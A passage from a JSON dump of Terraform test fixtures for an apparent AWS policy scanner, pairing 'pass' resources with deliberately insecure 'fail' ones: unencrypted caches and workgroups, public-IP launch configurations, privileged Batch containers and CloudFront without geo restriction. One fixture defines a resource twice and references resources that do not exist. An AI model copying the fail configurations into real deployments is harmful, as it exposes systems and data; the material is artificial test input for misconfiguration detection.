    "content": "resource \"aws_appsync_api_cache\" \"pass\" {\n  api_id                     = aws_appsync_graphql_api.default.id\n  transit_encryption_enabled = true\n  at_rest_encryption_enabled = true\n  ttl                        = 60\n  type                       = \"SMALL\"\n  api_caching_behavior       = \"FULL_REQUEST_CACHING\"\n}\n\nresource \"aws_appsync_api_cache\" \"fail\" {\n  api_id                     = aws_appsync_graphql_api.default.id\n  transit_encryption_enabled = false\n  at_rest_encryption_enabled = false\n  ttl                        = 60\n  type                       = \"SMALL\"\n  api_caching_behavior       = \"FULL_REQUEST_CACHING\"\n}\n\nresource \"aws_appsync_api_cache\" \"fail2\" {\n  api_id               = aws_appsync_graphql_api.default.id\n  ttl                  = 60\n  type                 = \"SMALL\"\n  api_caching_behavior = \"FULL_REQUEST_CACHING\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AthenaWorkgroupEncryption/main.tf",
    "content": "resource \"aws_athena_workgroup\" \"pass\" {\n  name = \"wg-encrypted\"\n\n  configuration {\n    enforce_workgroup_configuration    = true\n    publish_cloudwatch_metrics_enabled = true\n\n    result_configuration {\n      output_location = \"s3://mys3bucket\"\n      encryption_configuration {\n        encryption_option = \"SSE_KMS\"\n        kms_key_arn       = \"mykmsarn\"\n      }\n    }\n  }\n}\n\nresource \"aws_athena_workgroup\" \"fail\" {\n  name = \"wg-non-encrypted\"\n\n  configuration {\n    enforce_workgroup_configuration    = true\n    publish_cloudwatch_metrics_enabled = true\n\n    result_configuration {\n      output_location = \"s3://mys3bucket\"\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AutoScalingGroupWithPublicAccess/main.tf",
    "content": "resource \"aws_launch_configuration\" \"fail\" {\n  name          = \"vulnerable-lc-${random_id.id.hex}\"\n  image_id      = \"ami-0c55b24b055c14ff6\" # Replace with a valid AMI ID for your region\n  instance_type = \"t2.micro\"\n  associate_public_ip_address = true # THIS IS THE VULNERABILITY\n}\n\nresource \"aws_autoscaling_group\" \"vulnerable_asg\" {\n  name                 = \"vulnerable-asg-${random_id.id.hex}\"\n  launch_configuration = aws_launch_configuration.vulnerable_launch_config.name\n  min_size             = 1\n  max_size             = 3\n  desired_capacity   = 1\n  vpc_zone_identifier = [\"subnet-0bb1c79de3EXAMPLE\", \"subnet-0bb1c79de4EXAMPLE\"] # Replace with valid subnet IDs\n\n  tags = [\n    {\n      key                 = \"Name\"\n      value               = \"VulnerableAutoScalingGroup\"\n      propagate_at_launch = true\n    },\n  ]\n}\n\nresource \"random_id\" \"id\" {\n  byte_length = 8\n}\n\nresource \"aws_launch_configuration\" \"pass\" {\n  name          = \"safe-lc-${random_id.id.hex}\"\n  image_id      = \"ami-0c55b24b055c14ff6\" # Replace with a valid AMI ID for your region\n  instance_type = \"t2.micro\"\n  associate_public_ip_address = false # THIS IS THE SAFE CONFIGURATION\n}\n\nresource \"aws_autoscaling_group\" \"safe_asg\" {\n  name                 = \"safe-asg-${random_id.id.hex}\"\n  launch_configuration = aws_launch_configuration.safe_launch_config.name\n  min_size             = 1\n  max_size             = 3\n  desired_capacity   = 1\n  vpc_zone_identifier = [\"subnet-0bb1c79de3EXAMPLE\", \"subnet-0bb1c79de4EXAMPLE\"] # Replace with valid subnet IDs\n\n\n  tags = [\n    {\n      key                 = \"Name\"\n      value               = \"SafeAutoScalingGroup\"\n      propagate_at_launch = true\n    },\n  ]\n}\n\nresource \"random_id\" \"id\" {\n  byte_length = 8\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AutoScalingLaunchTemplate/main.tf",
    "content": "resource \"aws_autoscaling_group\" \"pass\" {\n  availability_zones = [\"us-east-1a\"]\n  desired_capacity   = 1\n  max_size           = 2\n  min_size           = 1\n\n  launch_template {\n    id      = aws_launch_template.example.id\n    version = aws_launch_template.example.latest_version\n  }\n\n  tag {\n    key                 = \"Key\"\n    value               = \"Value\"\n    propagate_at_launch = true\n  }\n\n  instance_refresh {\n    strategy = \"Rolling\"\n    preferences {\n      min_healthy_percentage = 50\n    }\n    triggers = [\"tag\"]\n  }\n}\n\nresource \"aws_autoscaling_group\" \"fail\" {\n  name                 = \"foobar3-terraform-test\"\n  max_size             = 5\n  min_size             = 2\n  launch_configuration = aws_launch_configuration.foobar.name\n  vpc_zone_identifier  = [aws_subnet.example1.id, aws_subnet.example2.id]\n}\n\nresource \"aws_autoscaling_group\" \"pass_mixed\" {\n  mixed_instances_policy {\n    instances_distribution {\n      on_demand_base_capacity                  = 0\n      on_demand_percentage_above_base_capacity = 25\n      spot_allocation_strategy                 = \"capacity-optimized\"\n    }\n\n    launch_template {\n      launch_template_specification {\n        launch_template_id = aws_launch_template.example.id\n      }\n\n      override {\n        instance_type     = \"c4.large\"\n        weighted_capacity = \"3\"\n      }\n\n      override {\n        instance_type     = \"c3.large\"\n        weighted_capacity = \"2\"\n      }\n    }\n  }\n}\n\nresource \"aws_autoscaling_group\" \"pass_mixed_multiple\" {\n  mixed_instances_policy {\n    instances_distribution {\n      on_demand_base_capacity                  = 0\n      on_demand_percentage_above_base_capacity = 25\n      spot_allocation_strategy                 = \"capacity-optimized\"\n    }\n\n    launch_template {\n      launch_template_specification {\n        launch_template_id = aws_launch_template.x86_64.id\n      }\n\n      override {\n        instance_type     = \"c6g.large\"\n        launch_template_specification {\n          launch_template_id = aws_launch_template.arm64.id\n        }\n      }\n\n      override {\n        instance_type     = \"c5.large\"\n      }\n\n      override {\n        instance_type     = \"c5a.large\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AutoScalingTagging/main.tf",
    "content": "resource \"aws_autoscaling_group\" \"passtag\" {\n  name                      = \"foobar3-terraform-test\"\n  max_size                  = 5\n  min_size                  = 2\n  health_check_grace_period = 300\n  health_check_type         = \"ELB\"\n  desired_capacity          = 4\n  force_delete              = true\n  placement_group           = aws_placement_group.test.id\n  launch_configuration      = aws_launch_configuration.foobar.name\n  vpc_zone_identifier       = [aws_subnet.example1.id, aws_subnet.example2.id]\n\n  tag {\n    key                 = \"foo\"\n    value               = \"bar\"\n    propagate_at_launch = true\n  }\n\n  tag {\n    key                 = \"lorem\"\n    value               = \"ipsum\"\n    propagate_at_launch = false\n  }\n}\n\n\nresource \"aws_autoscaling_group\" \"passtags\" {\n  name                 = \"foobar3-terraform-test\"\n  max_size             = 5\n  min_size             = 2\n  launch_configuration = aws_launch_configuration.foobar.name\n  vpc_zone_identifier  = [aws_subnet.example1.id, aws_subnet.example2.id]\n\n  tags = concat(\n    [\n      {\n        \"key\"                 = \"interpolation1\"\n        \"value\"               = \"value3\"\n        \"propagate_at_launch\" = true\n      },\n      {\n        \"key\"                 = \"interpolation2\"\n        \"value\"               = \"value4\"\n        \"propagate_at_launch\" = true\n      },\n    ],\n    var.extra_tags,\n  )\n}\n\n\nresource \"aws_autoscaling_group\" \"fail\" {\n  name                 = \"foobar3-terraform-test\"\n  max_size             = 5\n  min_size             = 2\n  launch_configuration = aws_launch_configuration.foobar.name\n  vpc_zone_identifier  = [aws_subnet.example1.id, aws_subnet.example2.id]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_BackupVaultEncrypted/main.tf",
    "content": "# fail\nresource \"aws_backup_vault\" \"backup\" {\n  name = \"example_backup_vault\"\n}\n\n# pass\nresource \"aws_backup_vault\" \"backup_with_kms_key\" {\n  name        = \"example_backup_vault\"\n  kms_key_arn = aws_kms_key.example.arn\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_BatchJobIsNotPrivileged/main.tf",
    "content": "resource \"aws_batch_job_definition\" \"unknown2\" {\n  name                 = \"foobar\"\n  type                 = \"container\"\n  container_properties = file(\"${path.module}/job_definition.json\")\n}\n\n\nresource \"aws_batch_job_definition\" \"fail\" {\n  name = \"tf_test_batch_job_definition\"\n  type = \"container\"\n\n  container_properties = <<CONTAINER_PROPERTIES\n{\n    \"command\": [\"ls\", \"-la\"],\n    \"image\": \"busybox\",\n    \"memory\": 1024,\n    \"vcpus\": 1,\n    \"privileged\": true,\n    \"volumes\": [\n      {\n        \"host\": {\n          \"sourcePath\": \"/tmp\"\n        },\n        \"name\": \"tmp\"\n      }\n    ],\n    \"environment\": [\n        {\"name\": \"VARNAME\", \"value\": \"VARVAL\"}\n    ],\n    \"mountPoints\": [\n        {\n          \"sourceVolume\": \"tmp\",\n          \"containerPath\": \"/tmp\",\n          \"readOnly\": false\n        }\n    ],\n    \"ulimits\": [\n      {\n        \"hardLimit\": 1024,\n        \"name\": \"nofile\",\n        \"softLimit\": 1024\n      }\n    ]\n}\nCONTAINER_PROPERTIES\n}\n\n\n\nresource \"aws_batch_job_definition\" \"pass\" {\n  name = \"tf_test_batch_job_definition\"\n  type = \"container\"\n\n  container_properties = <<CONTAINER_PROPERTIES\n{\n    \"command\": [\"ls\", \"-la\"],\n    \"image\": \"busybox\",\n    \"memory\": 1024,\n    \"vcpus\": 1,\n    \"privileged\": false,\n    \"volumes\": [\n      {\n        \"host\": {\n          \"sourcePath\": \"/tmp\"\n        },\n        \"name\": \"tmp\"\n      }\n    ],\n    \"environment\": [\n        {\"name\": \"VARNAME\", \"value\": \"VARVAL\"}\n    ],\n    \"mountPoints\": [\n        {\n          \"sourceVolume\": \"tmp\",\n          \"containerPath\": \"/tmp\",\n          \"readOnly\": false\n        }\n    ],\n    \"ulimits\": [\n      {\n        \"hardLimit\": 1024,\n        \"name\": \"nofile\",\n        \"softLimit\": 1024\n      }\n    ]\n}\nCONTAINER_PROPERTIES\n}\n\n\n\nresource \"aws_batch_job_definition\" \"unknown\" {\n  name = \"tf_test_batch_job_definition\"\n  type = \"container\"\n}\n\n\nresource \"aws_batch_job_definition\" \"pass2\" {\n  name = \"tf_test_batch_job_definition\"\n  type = \"container\"\n\n  container_properties = <<CONTAINER_PROPERTIES\n{\n    \"command\": [\"ls\", \"-la\"],\n    \"image\": \"busybox\",\n    \"memory\": 1024,\n    \"vcpus\": 1,\n    \"volumes\": [\n      {\n        \"host\": {\n          \"sourcePath\": \"/tmp\"\n        },\n        \"name\": \"tmp\"\n      }\n    ],\n    \"environment\": [\n        {\"name\": \"VARNAME\", \"value\": \"VARVAL\"}\n    ],\n    \"mountPoints\": [\n        {\n          \"sourceVolume\": \"tmp\",\n          \"containerPath\": \"/tmp\",\n          \"readOnly\": false\n        }\n    ],\n    \"ulimits\": [\n      {\n        \"hardLimit\": 1024,\n        \"name\": \"nofile\",\n        \"softLimit\": 1024\n      }\n    ]\n}\nCONTAINER_PROPERTIES\n}\n\nresource \"aws_batch_job_definition\" \"pass3\" {\n  name = \"tf_test_batch_job_definition\"\n  type = \"container\"\n\n  container_properties = jsonencode({\n    \"command\" : [\"ls\", \"-la\"],\n    \"image\" : \"busybox\",\n    \"memory\" : 1024,\n    \"vcpus\" : 1,\n    \"volumes\" : [\n      {\n        \"host\" : {\n          \"sourcePath\" : \"/tmp\"\n        },\n        \"name\" : \"tmp\"\n      }\n    ],\n    \"environment\" : [\n      { \"name\" : \"VARNAME\", \"value\" : \"VARVAL\" }\n    ],\n    \"mountPoints\" : [\n      {\n        \"sourceVolume\" : \"tmp\",\n        \"containerPath\" : \"/tmp\",\n        \"readOnly\" : false\n      }\n    ],\n    \"ulimits\" : [\n      {\n        \"hardLimit\" : 1024,\n        \"name\" : \"nofile\",\n        \"softLimit\" : 1024\n      }\n    ]\n  })\n}\n\n# not a valid configuration\nresource \"aws_batch_job_definition\" \"unknown3\" {\n  name = \"tf_test_batch_job_definition\"\n  type = \"container\"\n\n  container_properties = [{\n    \"image\" : \"busybox\",\n    \"memory\" : 1024,\n    \"vcpus\" : 1,\n  }]\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_BedrockAgentEncrypted/main.tf",
    "content": "# fail\nresource \"aws_bedrockagent_agent\" \"bedrock_agent\" {\n  agent_name = \"example_agent_name\"\n}\n\n# pass\nresource \"aws_bedrockagent_agent\" \"bedrock_agent_with_kms_key\" {\n  agent_name                  = \"example_agent_name\"\n  customer_encryption_key_arn = aws_kms_key.example.arn\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_BedrockGuardrails/main.tf",
    "content": "resource \"aws_bedrockagent_agent\" \"fail\" {\n  agent_name                  = \"my-agent-name\"\n  agent_resource_role_arn     = aws_iam_role.example.arn\n  idle_session_ttl_in_seconds = 500\n  foundation_model            = \"anthropic.claude-v2\"\n}\n\nresource \"aws_bedrockagent_agent\" \"pass\" {\n  agent_name                  = \"my-agent-name\"\n  agent_resource_role_arn     = aws_iam_role.example.arn\n  idle_session_ttl_in_seconds = 500\n  foundation_model            = \"anthropic.claude-v2\"\n\n  guardrail_configuration {\n    guardrail_identifier = \"foo\"\n    guardrail_version = 1\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudFrontGeoRestrictionDisabled/main.tf",
    "content": "resource \"aws_cloudfront_distribution\" \"pass\" {\n  origin {\n    domain_name              = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_access_control_id = aws_cloudfront_origin_access_control.default.id\n    origin_id                = local.s3_origin_id\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"fail\" {\n  origin {\n    domain_name              = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_access_control_id = aws_cloudfront_origin_access_control.default.id\n    origin_id                = local.s3_origin_id\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"none\"\n      locations        = []\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudFrontResponseHeaderStrictTransportSecurity/main.tf",
    "content": "# pass\n\nresource \"aws_cloudfront_response_headers_policy\" \"pass\" {\n  name    = \"test\"\n\n  security_headers_config {\n    strict_transport_security {\n      access_control_max_age_sec = 31536000\n      include_subdomains         = true\n      override                   = true\n      preload                    = true\n    }\n  }\n}\n\n# fail\n\nresource \"aws_cloudfront_response_headers_policy\" \"no_security_headers_config\" {\n  name    = \"test\"\n}\n\nresource \"aws_cloudfront_response_headers_policy\" \"no_strict_transport_security\" {\n  name    = \"test\"\n\n  security_headers_config {\n    content_type_options {\n      override = true\n    }\n  }\n}\n\nresource \"aws_cloudfront_response_headers_policy\" \"incorrect_strict_transport_security\" {\n  name    = \"test\"\n\n  security_headers_config {\n    strict_transport_security {\n      access_control_max_age_sec = 1\n      include_subdomains         = true\n      override                   = true\n      preload                    = true\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudWatchAlarmsEnabled/main.tf",
    "content": "resource \"aws_cloudwatch_metric_alarm\" \"pass\" {\n  alarm_name          = \"alarmname\"\n  comparison_operator = \"LessThanThreshold\"\n  evaluation_periods  = 1\n  metric_name         = \"HealthyHostCount\"\n  namespace           = \"AWS/NetworkELB\"\n  period              = 60\n  statistic           = \"Average\"\n  threshold           = var.logstash_servers_count\n  alarm_description   = \"Number of healthy nodes in Target Group\"\n  alarm_actions       = [aws_sns_topic.sns.arn]\n  ok_actions          = [aws_sns_topic.sns.arn]\n  dimensions = {\n    TargetGroup  = aws_lb_target_group.lb-tg.arn_suffix\n    LoadBalancer = aws_lb.lb.arn_suffix\n  }\n}\n\nresource \"aws_cloudwatch_metric_alarm\" \"pass2\" {\n  alarm_name          = \"alarmname\"\n  comparison_operator = \"LessThanThreshold\"\n  evaluation_periods  = 1\n  metric_name         = \"HealthyHostCount\"\n  namespace           = \"AWS/NetworkELB\"\n  period              = 60\n  statistic           = \"Average\"\n  threshold           = var.logstash_servers_count\n  alarm_description   = \"Number of healthy nodes in Target Group\"\n  actions_enabled     = true\n  alarm_actions       = [aws_sns_topic.sns.arn]\n  ok_actions          = [aws_sns_topic.sns.arn]\n  dimensions = {\n    TargetGroup  = aws_lb_target_group.lb-tg.arn_suffix\n    LoadBalancer = aws_lb.lb.arn_suffix\n  }\n}\n\nresource \"aws_cloudwatch_metric_alarm\" \"fail\" {\n  alarm_name          = \"alarmname\"\n  comparison_operator = \"LessThanThreshold\"\n  evaluation_periods  = 1\n  metric_name         = \"HealthyHostCount\"\n  namespace           = \"AWS/NetworkELB\"\n  period              = 60\n  statistic           = \"Average\"\n  threshold           = var.logstash_servers_count\n  alarm_description   = \"Number of healthy nodes in Target Group\"\n  actions_enabled     = false\n  alarm_actions       = [aws_sns_topic.sns.arn]\n  ok_actions          = [aws_sns_topic.sns.arn]\n  dimensions = {\n    TargetGroup  = aws_lb_target_group.lb-tg.arn_suffix\n    LoadBalancer = aws_lb.lb.arn_suffix\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudWatchLogGroupKMSKey/main.tf",
    "content": "resource \"aws_cloudwatch_log_group\" \"pass\" {\n  retention_in_days = 1\n  kms_key_id        = \"someKey\"\n}\n\nresource \"aws_cloudwatch_log_group\" \"fail\" {\n  retention_in_days = 1\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudWatchLogGroupRetention/main.tf",
    "content": "resource \"aws_cloudwatch_log_group\" \"pass\" {\n  retention_in_days = 3\n}\n\nresource \"aws_cloudwatch_log_group\" \"fail\" {}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudWatchLogGroupRetentionYear/main.tf",
    "content": "resource \"aws_cloudwatch_log_group\" \"pass_365\" {\n  retention_in_days = 365\n}\n\nresource \"aws_cloudwatch_log_group\" \"pass_0\" {\n  retention_in_days = 0\n}\n\nresource \"aws_cloudwatch_log_group\" \"fail\" {\n  retention_in_days = 5\n}\n\nresource \"aws_cloudwatch_log_group\" \"unknown\" {\n  retention_in_days = var.retention\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudfrontDistributionDefaultRoot/main.tf",
    "content": "resource \"aws_cloudfront_distribution\" \"pass\" {\n  origin {\n    domain_name              = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_access_control_id = aws_cloudfront_origin_access_control.default.id\n    origin_id                = local.s3_origin_id\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"fail\" {\n  origin {\n    domain_name              = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_access_control_id = aws_cloudfront_origin_access_control.default.id\n    origin_id                = local.s3_origin_id\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CloudfrontDistributionEnabled/main.tf",
    "content": "resource \"aws_cloudfront_distribution\" \"pass\" {\n  dynamic \"origin\" {\n    for_each = local.origins\n    content {\n      domain_name = origin.value[\"domain_name\"]\n      origin_id   = origin.value[\"origin_id\"]\n\n      s3_origin_config {\n        origin_access_identity = origin.value[\"origin_access_identity\"]\n      }\n    }\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  default_root_object = \"index.html\"\n\n  default_cache_behavior {\n    allowed_methods  = var.default_behaviour.allowed_methods\n    cached_methods   = var.default_behaviour.cached_methods\n    target_origin_id = var.default_behaviour.origin_id\n\n    forwarded_values {\n      query_string = var.default_behaviour.query_string\n\n      cookies {\n        forward = var.default_behaviour.forward\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = var.default_behaviour.min_ttl\n    default_ttl            = var.default_behaviour.default_ttl\n    max_ttl                = var.default_behaviour.max_ttl\n  }\n\n  dynamic \"ordered_cache_behavior\" {\n    for_each = var.behaviours\n    content {\n      path_pattern     = ordered_cache_behavior.value[\"path_pattern\"]\n      allowed_methods  = ordered_cache_behavior.value[\"allowed_methods\"]\n      cached_methods   = ordered_cache_behavior.value[\"cached_methods\"]\n      target_origin_id = ordered_cache_behavior.value[\"origin_id\"]\n      forwarded_values {\n        headers      = ordered_cache_behavior.value[\"headers\"]\n        query_string = ordered_cache_behavior.value[\"query_string\"]\n        cookies {\n          forward = ordered_cache_behavior.value[\"forward\"]\n        }\n      }\n      min_ttl                = ordered_cache_behavior.value[\"min_ttl\"]\n      default_ttl            = ordered_cache_behavior.value[\"default_ttl\"]\n      max_ttl                = ordered_cache_behavior.value[\"max_ttl\"]\n      compress               = ordered_cache_behavior.value[\"compress\"]\n      viewer_protocol_policy = \"allow-all\"\n    }\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = var.geo_restrictions[\"restriction_type\"]\n      locations        = var.geo_restrictions[\"locations\"]\n    }\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = var.viewer_certificate[\"cloudfront_default_certificate\"]\n    minimum_protocol_version       = var.viewer_certificate[\"minimum_protocol_version\"]\n  }\n\n  lifecycle {\n    ignore_changes = [tags]\n  }\n  tags = {\n    \"key\" = \"value\"\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"fail\" {\n  dynamic \"origin\" {\n    for_each = local.origins\n    content {\n      domain_name = origin.value[\"domain_name\"]\n      origin_id   = origin.value[\"origin_id\"]\n\n      s3_origin_config {\n        origin_access_identity = origin.value[\"origin_access_identity\"]\n      }\n    }\n  }\n\n  enabled             = false\n  is_ipv6_enabled     = true\n  default_root_object = \"index.html\"\n\n  default_cache_behavior {\n    allowed_methods  = var.default_behaviour.allowed_methods\n    cached_methods   = var.default_behaviour.cached_methods\n    target_origin_id = var.default_behaviour.origin_id\n\n    forwarded_values {\n      query_string = var.default_behaviour.query_string\n\n      cookies {\n        forward = 